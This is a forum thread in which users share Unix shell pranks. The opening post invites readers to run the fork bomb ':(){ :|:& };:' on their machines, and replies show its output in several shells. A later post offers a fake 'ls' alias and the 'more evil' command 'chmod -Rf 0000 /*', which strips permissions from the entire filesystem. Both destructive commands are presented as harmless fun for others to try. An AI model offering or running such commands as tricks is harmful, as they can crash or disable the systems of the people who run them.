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Give this a try on your next *nix box.

[code] :(){ :|:& };: [/code]

It does not destroy data. For fun, run it twice.

brain@cerealkiller ~$ :(){ :|:& };:
-sh: `:': not a valid identifier
brain@cerealkiller ~$ (){ :|:& };
-sh: syntax error near unexpected token `)'
brain@cerealkiller ~$ ":(){ :|:& };:"
-sh: :(){ :|:& };:: command not found
brain@cerealkiller ~$

cereal killer... as in fruit loops?

try drinking sweet red vermouth straight

supposedly good

as for the above shit:
(a) hess is probably using bash, it may make a difference.
(b) i like how people assume that ttf supports full html/bb code
(c) anyone want to write some bsdl regexps to get html/bb code supported on ttf?

bash:

$ :(){ :|:& };:
[1] 22798
bash: fork: Resource temporarily unavailable
[1]+ Terminated : | :
$

ksh:

$ :(){ :|:& };:
$

csh:

$ :(){ :|:& };:
$Badly placed ()'s.

zsh: fork loops.

The code is known as a Fork Bomb (http://en.wikipedia.org/wiki/Fork_bomb)

Here is another little trick worth some laughter:

[code] alias ls="echo bash: ls: command not found" [/code]

Or if you are feeling a bit more evil:

[code] chmod -Rf 0000 /* [/code]

I did not think ttf would really support the code, but it was the best way I thought of to denote where the code began an ended that others would recognize.

glad you get the reference, dbrown :).

I ran it on bash, it's my OS X box.

>> anyone want to write some bsdl regexps to get html/bb code supported on ttf?

it won't get done anytime soon but i'll take a shot after i finish my freeradius project.

i have the only avatar that isn't b&w in this thread.

i love color!

me too! :P